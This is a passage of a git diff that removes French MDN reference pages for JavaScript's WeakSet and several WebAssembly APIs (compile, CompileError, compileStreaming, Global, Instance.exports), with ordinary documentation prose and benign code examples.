{{SpecName('ES2015', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet.delete")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakSet")}}
    • -
  • {{jsxref("WeakSet.prototype.clear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html deleted file mode 100644 index c4cd1f5eae..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: WeakSet.prototype.has() -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/has -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/has ---- -
{{JSRef}}
- -

La méthode has() renvoie un booléen indiquant si un objet donné est contenu dans l'ensemble WeakSet.

- -
{{EmbedInteractiveExample("pages/js/weakset-prototype-has.html")}}
- - - -

Syntaxe

- -
ws.has(valeur);
- -

Paramètres

- -
-
valeur
-
Ce paramètre est obligatoire. Il représente l'objet dont on souhaite savoir s'il est, ou non, présent dans l'objet WeakSet.
-
- -

Valeur renvoyée

- -
-
Booléen
-
La méthode renvoie true si l'objet WeakSet contient bien un élément avec la valeur donnée, false sinon.
-
- -

Exemples

- -
var ws = new WeakSet();
-var obj = {};
-ws.add(window);
-
-mySet.has(window);  // renvoie true
-mySet.has(obj);     // renvoie false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet.has")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakSet")}}
    • -
  • {{jsxref("WeakSet.prototype.add()")}}
    • -
  • {{jsxref("WeakSet.prototype.delete()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/index.html deleted file mode 100644 index fd72c59ba4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: WeakSet -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet ---- -
{{JSRef}}
- -

L'objet WeakSet permet de créer un ensemble dont les objets sont contenus avec des références faibles.

- -

Syntaxe

- -
new WeakSet([itérable]);
- -

Paramètre

- -
-
itérable
-
Si un objet itérable est présent comme argument, ses éléments seront ajoutés au nouvel objet WeakSet. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.
-
- -

Exemples

- -
var ws = new WeakSet();
-var toto = {};
-var truc = {};
-
-ws.add(toto);
-ws.add(truc);
-
-ws.has(toto);  // true
-ws.has(truc);  // true
-
-ws.delete(toto); // retire toto de l'ensemble
-ws.has(toto);    // false, toto a été enlevé
-
- -

On notera que toto !== truc. Bien que ce soient des objets similaires, ce ne sont pas les mêmes objets. Aussi, les deux sont ajoutés à l'ensemble.

- -

Description

- -

Les WeakSet sont des ensembles d'objets. Un objet présent dans un objet WeakSet ne peut apparaître qu'une seule fois, il est unique pour un WeakSet donné.

- -

Les principales différences avec l'objet {{jsxref("Set")}} sont les suivantes :

- -
    -
  • Contrairement aux Sets, les WeakSets sont des ensembles uniquement constitués d'objets et ne peuvent pas contenir des valeurs de n'importe quel type.
    • -
  • L'objet WeakSet est faible : Les références vers les objets de l'ensemble sont des références faibles. Si aucune autre référence vers l'objet n'est présente en dehors du WeakSet, l'objet pourra alors être nettoyé par le ramasse-miette. Cela signifie également qu'on ne peut pas lister les objets contenus à un instant donné dans l'ensemble. Les objets WeakSets ne sont pas énumérables.
    • -
- -

Propriétés

- -
-
WeakSet.length
-
La valeur de la propriété length est 0.
-
{{jsxref("WeakSet.prototype")}}
-
Cette propriété représente le prototype pour le constructeur WeakSet. Il permet d'ajouter des propriétés pour tous les objets WeakSet.
-
- -

Instances de WeakSet

- -

Toutes les instances de WeakSet héritent de {{jsxref("WeakSet.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','Propri.C3.A9t.C3.A9s')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','M.C3.A9thodes')}}

- -

Exemples

- -

Détecter les références circulaires

- -

Les fonctions récursives doivent faire attention aux structures de données circulaire qu'elles consommeraient. Les objets WeakSets peuvent être utilisé pour ça :

- -
// Appeler un callback sur ce qui est stocké dans un objet
-function execRecursively(fn, subject, _refs = null){
-  if(!_refs)
-    _refs = new WeakSet();
-
-  // On évite une récursion infinie
-  if(_refs.has(subject))
-    return;
-
-  fn(subject);
-  if("object" === typeof subject){
-    _refs.add(subject);
-    for(let key in subject)
-      execRecursively(fn, subject[key], _refs);
-  }
-}
-
-const toto = {
-  toto: "Toto",
-  truc: {
-    truc: "Truc"
-  }
-};
-
-toto.truc.machin = toto; // Référence circulaire !
-execRecursively(obj => console.log(obj), toto);
-
- -

Ici, on a un objet WeakSet qui est créé lors de la première exécution et qui est passé ensuite à chaque appel qui suit (via l'argument interne _refs). Le nombre d'objets ou l'ordre de parcours n'a pas d'importance et un objet WeakSet est donc plus adapté (y compris en termes de performances) qu'un {{jsxref("Set")}}, notamment si un grand nombre d'objets sont concernés.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("WeakMap")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html deleted file mode 100644 index 092f97b6c3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: WeakSet.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype ---- -
{{JSRef}}
- -

La propriété WeakSet.prototype représente le prototype du constructeur {{jsxref("WeakSet")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WeakSet")}} héritent de {{jsxref("WeakSet.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des méthodes et/ou des propriétés à toutes les instances de WeakSet.

- -

WeakSet.prototype est un objet ordinaire :

- -
Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"
- -

Propriétés

- -
-
WeakSet.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction native {{jsxref("WeakSet")}}.
-
- -

Méthodes

- -
-
{{jsxref("WeakSet.add", "WeakSet.prototype.add(valeur)")}}
-
Cette méthode permet d'ajouter une nouvel objet avec une valeur donnée à l'objet WeakSet.
-
{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(valeur)")}}
-
Cette méthode retire l'élément associé à valeur. WeakSet.prototype.has(valeur) renverra false une fois l'opération effectuée.
-
{{jsxref("WeakSet.has", "WeakSet.prototype.has(valeur)")}}
-
Cette méthode renvoie un booléen indiquant si oui ou non un élément est présent avec cette valeur au sein de l'objet WeakSet.
-
{{jsxref("WeakSet.prototype.clear()")}}{{obsolete_inline}}
-
Cette méthode retire tous les éléments de l'ensemble WeakSet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set.prototype")}}
    • -
  • {{jsxref("WeakMap.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html deleted file mode 100644 index 9922106222..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: WebAssembly.compile() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compile -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile ---- -
{{JSRef}}
- -

La méthode WebAssembly.compile(), permet de compiler un module ({{jsxref("WebAssembly.Module")}} à partir d'un code binaire WebAssembly. Cette fonction est utile lorsqu'il est nécessaire de compiler un module avant de l'instancier (dans les autres cas, la méthode {{jsxref("WebAssembly.instantiate()")}} sera plus pertinente).

- -

Syntaxe

- -
Promise<WebAssembly.Module> WebAssembly.compile(bufferSource);
- -

Paramètres

- -
-
bufferSource
-
Un tableau typé ou un {{jsxref("ArrayBuffer")}} contenant le bytecode du module WebAssembly qu'on souhaite compiler.
-
- -

Valeur de retour

- -

Une promesse ({{jsxref("Promise")}}) dont la valeur de résolution est une instance de {{jsxref("WebAssembly.Module")}} qui représente le module compilé.

- -

Exceptions

- -
    -
  • Si bufferSource n'est pas un tableau typé, une exception {{jsxref("TypeError")}} sera levée.
    • -
  • Si la compilation échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on compile le bytecode simple.wasm grâce à la méthode compile() puis on envoie le contenu à un worker grâce à la méthode postMessage().

- -
var worker = new Worker("wasm_worker.js");
-
-fetch('simple.wasm').then(response =>
-  response.arrayBuffer()
-).then(bytes =>
-  WebAssembly.compile(bytes)
-).then(mod =>
-  worker.postMessage(mod)
-);
- -
-

Note : Dans la plupart des cas, mieux vaudra utiliser {{jsxref("WebAssembly.compileStreaming()")}} qui est plus efficace que compile().

-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.compile")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html deleted file mode 100644 index 69afe21895..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: WebAssembly.CompileError() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/CompileError -tags: - - API - - CompileError - - Constructeur - - Error - - JavaScript - - NativeError - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError ---- -
{{JSRef}}
- -

Le constructeur WebAssembly.CompileError() permet de créer une nouvelle instance de CompileError qui indique qu'une erreur s'est produite lors du décodage du code WebAssembly ou lors de sa validation.

- -

Syntaxe

- -
new WebAssembly.CompileError(message, nomFichier, numeroLigne)
- -

Paramètres

- -
-
message {{optional_inline}}
-
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
-
nomFichier {{optional_inline}}{{non-standard_inline}}
-
Le nom du fichier contenant le code à l'origine de l'exception.
-
numeroLigne {{optional_inline}}{{non-standard_inline}}
-
Le numéro de la ligne du fichier à l'origine de l'exception.
-
- -

Propriétés

- -

Le constructeur CompileError ne possède aucune propriété propre. En revanche, il hérite de certaines propriétés via sa chaîne de prototypes.

- -
-
WebAssembly.CompileError.prototype.constructor
-
Définit la fonction qui crée le prototype d'une instance.
-
{{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}}
-
Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que  l'instance devrait fournir sa propre propriété message, pour SpiderMonkey, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}}
-
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}}
-
Le chemin vers le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "WebAssembly.CompileError.prototype.lineNumber")}}
-
Le numéro de la ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "WebAssembly.CompileError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "WebAssembly.CompileError.prototype.stack")}}
-
La pile d'appel. Cette propriété est héritée via {{jsxref("Error")}}.
-
- -

Méthodes

- -

Le constructeur CompileError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

- -
-
{{jsxref("Error.prototype.toSource", "WebAssembly.CompileError.prototype.toSource()")}}
-
Cette méthode renvoie un code qui pourrait provoquer la même erreur. Elle est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.toString", "WebAssembly.CompileError.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.
-
- -

Exemples

- -

Le fragment de code qui suit crée une instance de CompileError puis imprime ses détails dans la console :

- -
try {
-  throw new WebAssembly.CompileError('Coucou', 'unFichier', 10);
-} catch (e) {
-  console.log(e instanceof CompileError); // true
-  console.log(e.message);                 // "Coucou"
-  console.log(e.name);                    // "CompileError"
-  console.log(e.fileName);                // "unFichier"
-  console.log(e.lineNumber);              // 10
-  console.log(e.columnNumber);            // 0
-  console.log(e.stack);                   // la pile d'appel pour le code
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon pour la définition Initiale de WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards pour NativeError.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.CompileError")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html deleted file mode 100644 index 8dfca177d4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: WebAssembly.compileStreaming() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compileStreaming -tags: - - API - - JavaScript - - Méthode - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming ---- -
{{JSRef}}
- -

La fonction WebAssembly.compileStreaming() permet de compiler un module WebAssembly (c'est-à-dire un objet {{jsxref("WebAssembly.Module")}}) depuis un flux source. Cette fonction est utile si on doit compiler un module avant de l'instancier séparement, sinon on utilisera plutôt {{jsxref("WebAssembly.instantiateStreaming()")}}.

- -

Syntaxe

- -
Promise<WebAssembly.Module> WebAssembly.compileStreaming(source);
- -

Paramètres

- -
-
source
-
Un objet {{domxref("Response")}} ou une promesse qui sera résolue avec un objet {{domxref("Response")}} qui représentee la source du module .wasm qu'on souhaite manipuler comme un flux et compiler.
-
- -

Valeur de retour

- -

Un objet Promise dont la valeur de résolution est un objet {{jsxref("WebAssembly.Module")}} qui représente le module compilé.

- -

Exceptions

- -
    -
  • Si la compilation échoue, la promesse est rejetée avec une exception {{jsxref("WebAssembly.CompileError")}}.
    • -
- -

Exemples

- -

Dans l'exemple suivant (également disponible sur GitHub : compile-streaming.html et avec le résultat live), on récupère un flux dedpuis un module .wasm puis on le compile en un objet {{jsxref("WebAssembly.Module")}}. La fonction compileStreaming()  acceptant une promesse pour un objet {{domxref("Response")}}, on peut directement passer l'appel à  {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui transfèrera la réponse dès que la promesse sera tenue.

- -
var importObject = { imports: { imported_func: arg => console.log(arg) } };
-
-WebAssembly.compileStreaming(fetch('simple.wasm'))
-.then(module => WebAssembly.instantiate(module, importObject))
-.then(instance => instance.exports.exported_func());
- -

Le module est ensuite instancié grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}. Enfin, on appelle la fonction exportée.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}{{Spec2('WebAssembly Embedding')}}Brouillon pour la définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html deleted file mode 100644 index 94ae405b8e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: WebAssembly.Global -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global -tags: - - API - - Constructor - - JavaScript - - Reference - - TopicStub - - WebAssembly - - global -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global ---- -
{{JSRef}}
- -

Un objet WebAssembly.Global représente une instance d'une variable globale, accessible depuis le code JavaScript et importable/exportable pour un ou plusieurs modules WebAssembly ({{jsxref("WebAssembly.Module")}}). Cela permet de lier dynamiquement plusieurs modules.

- -

Syntaxe

- -
var maGlobale = new WebAssembly.Global(descripteur, valeur);
- -

Paramètres

- -
-
descripteur
-
Un dictionnaire GlobalDescriptor qui contient deux propriétés : -
    -
  • value : une valeur {{domxref("USVString")}} qui représente le type de donnée de la variable globale. Ce type peut être i32, i64, f32 ou f64.
    • -
  • mutable : un booléen qui indique si la variable globale peut être modifiée ou non. Par défaut, cette propriété vaut false.
    • -
-
-
valeur
-
La valeur que la variable doit contenir. Ce peut être n'importe quelle valeur qui respecte le type de donnée de la variable. Si aucune valeur n'est indiquée, c'est une valeur nulle typée qui est utilisée, tel qu'indiqué dans l'algorithme DefaultValue.
-
- -

Propriétés

- -

Aucune.

- -

Instances de WebAssembly.Global

- -

Toutes les instances de Global héritent du prototype du constructeur Global(). Ce prototype peut être modifié afin d'avoir un impact sur l'ensemble des instances de Global.

- -

Propriétés des instances

- -

{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Propriétés')}}

- -

Méthodes des instances

- -

{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Méthodes')}}

- -

Exemples

- -

Dans l'exemple suivant, on montre comment créer une nouvelle instance globale grâce au constructeur WebAssembly.Global(). Cette instance globale est définie avec le type i32 et est indiquée comme modifiable. Sa valeur initiale est 0.

- -

On change ensuite la valeur de la variable globale en la passant à 42 grâce à la propriété Global.value puis en la passant à 43 grâce à la fonction incGlobal() qui a été exportée depuis le module global.wasm (cette fonction ajoute 1 à n'imorte quelle valeur puis renvoie cette nouvelle valeur).

- -
const output = document.getElementById('output');
-
-function assertEq(msg, got, expected) {
-    output.innerHTML += `Testing ${msg}: `;
-    if (got !== expected)
-        output.innerHTML += `FAIL!<br>Got: ${got}<br>Expected: ${expected}<br>`;
-    else
-        output.innerHTML += `SUCCESS! Got: ${got}<br>`;
-}
-
-assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
-
-const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
-
-WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
-.then(({instance}) => {
-    assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
-    global.value = 42;
-    assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
-    instance.exports.incGlobal();
-    assertEq("getting wasm-updated value from JS", global.value, 43);
-});
- -
-

Note : Cet exemple est utilisable sur GitHub et son code source est également disponible.

-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}{{Spec2('WebAssembly JS')}}Brouillon de spécification initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WebAssembly.Global")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html deleted file mode 100644 index fabce82ac1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: WebAssembly.Global.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global/prototype -tags: - - JavaScript - - Propriété - - Prototype - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global -translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype ---- -
{{JSRef}}
- -

La propriété WebAssembly.Global.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Global()")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WebAssembly.Global")}} héritent de Global.prototype. L'objet prototype du constructeur {{jsxref("WebAssembly.Global()")}} peut être modifié afin d'avoir un impact sur l'ensemble des instances {{jsxref( "WebAssembly.Global")}}.

- -

Propriétés

- -
-
Global.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Global()")}}.
-
Global.prototype[@@toStringTag]
-
La valeur initiale de la propriété @@toStringTag est la chaîne de caractères "WebAssembly.Global".
-
Global.prototype.value
-
La valeur contenue à l'intérieur de la variable globale. Cette propriété peut être utilisée afin de modifier et d'accéder à la valeur globale.
-
- -

Méthodes

- -
-
Global.prototype.valueOf()
-
Une méthode qui renvoie la valeur contenue dans la variable globale.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}{{Spec2('WebAssembly JS')}}Brouillon pour la définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WebAssembly.Global.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WebAssembly.Global()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html deleted file mode 100644 index b5932b027c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: WebAssembly -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly -tags: - - API - - JavaScript - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly ---- -
{{JSRef}}
- -

L'objet JavaScript WebAssembly est un objet global qui agit comme un espace de noms (namespace) pour les différentes fonctionnalités JavaScript relatives à WebAssembly.

- -

À la différence des autres objets globaux, WebAssembly n'est pas un constructeur (au même titre que {{jsxref("Math")}} qui agit comme un espace de noms pour les constantes et fonctions mathématiques ou comme {{jsxref("Intl")}} qui centralise les constructeurs et les opérations relatives à l'internationalisation).

- -

Description

- -

L'objet WebAssembly est notamment utilisé pour :

- -
    -
  • Charger du code WebAssembly grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}
    • -
  • Créer des zones mémoires et des instances de tableaux grâce aux constructeurs  {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}.
    • -
  • Fournir des outils de gestion d'erreur WebAssembly grâce aux constructeurs {{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}.
    • -
- -

Méthodes

- -
-
{{jsxref("WebAssembly.instantiate()")}}
-
La méthode qu'on utilisera la plupart du temps pour compiler et instancier du code WebAssembly, elle renvoie une promesse qui est résolue en une Instance ou en une Instance et un Module.
-
{{jsxref("WebAssembly.instantiateStreaming()")}}
-
Cette méthode peremet de compiler et d'instancier un module WebAssembly à partir d'un flux source (streamed source). Elle renvoie à la fois un objet Module et sa première Instance.
-
{{jsxref("WebAssembly.compile()")}}
-
Cette méthode permet de compiler un {{jsxref("WebAssembly.Module")}} à partir de bytecode  WebAssembly, l'instanciation doit alors être effectuée dans une autre étape.
-
{{jsxref("WebAssembly.compileStreaming()")}}
-
Cette méthode permet de compiler un module {{jsxref("WebAssembly.Module")}} à partir d'un flux source (streamed source). L'instanciation devra alors être réalisée avec une autre étape.
-
{{jsxref("WebAssembly.validate()")}}
-
Cette méthode permet de valider un tableau typé censé contenir du bytecode WebAssembly : elle renvoie true si les octets forment un code WebAssembly valide ou false sinon.
-
- -

Constructeurs

- -
-
{{jsxref("WebAssembly.Global()")}}
-
Ce constructeur permet de créer un nouvel objet WebAssembly Global.
-
{{jsxref("WebAssembly.Module()")}}
-
Ce constructeur permet de créer un objet WebAssembly Module.
-
{{jsxref("WebAssembly.Instance()")}}
-
Ce constructeur permet de créer un objet WebAssembly Instance.
-
{{jsxref("WebAssembly.Memory()")}}
-
Ce constructeur permet de créer un objet WebAssembly Memory.
-
{{jsxref("WebAssembly.Table()")}}
-
Ce constructeur permet de créer un objet WebAssembly Table.
-
{{jsxref("WebAssembly.CompileError()")}}
-
Ce constructeur permet de créer un objet WebAssembly CompileError.
-
{{jsxref("WebAssembly.LinkError()")}}
-
Ce constructeur permet de créer un objet WebAssembly LinkError.
-
{{jsxref("WebAssembly.RuntimeError()")}}
-
Ce constructeur permet de créer un objet WebAssembly RuntimeError.
-
- -

Exemples

- -

L'exemple suivant (cf. le fichier instantiate-streaming.html sur GitHub et le résultat obtenu) permet de récupérer le module WebAssembly via un flux depuis une source, de le compiler, puis de l'instancier. La promesse est résolue avec un objet ResultObject. La méthode instantiateStreaming() accepte une promesse pour l'argument {{domxref("Response")}}, on peut lui passer directement un appel à {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui passera ensuite la réponse à la fonction lors de la complétion de la promesse.

- -
var importObject = { imports: { imported_func: arg => console.log(arg) } };
-
-WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
-.then(obj => obj.instance.exports.exported_func());
- -

On accède alors à la propriété de l'instance ResultObject puis on appelle la fonction exportée.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WebAssembly")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html deleted file mode 100644 index cec4fddea3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: WebAssembly.Instance.prototype.exports -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/exports -tags: - - API - - Experimental - - JavaScript - - Propriété - - Reference - - WebAssembly - - instance -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports ---- -
{{JSRef}}
- -

La propriété exports du prototype de {{jsxref("WebAssembly.Instance")}} est une propriété en lecture seul qui renvoie un objet dont les propriétés sont les différentes fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler en JavaScript.

- -
instance.exports
- -

Exemples

- -

Après avoir récupéré le bytecode WebAssembly grâce à la méthode fetch(), on le compile et on instancie le module grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Lorsqu'on utilise cette fonction, on importe une fonction dans le module. Ensuite, on appelle une fonction WebAssembly exportée qui est exposée via l'instance.

- -
var importObject = {
-  imports: {
-    imported_func: function(arg) {
-      console.log(arg);
-    }
-  }
-};
-WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
-.then(obj => obj.instance.exports.exported_func());
- -
-

Note : Voir le fichier index.html sur GitHub (ainsi que la démonstration) pour un exemple.

-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
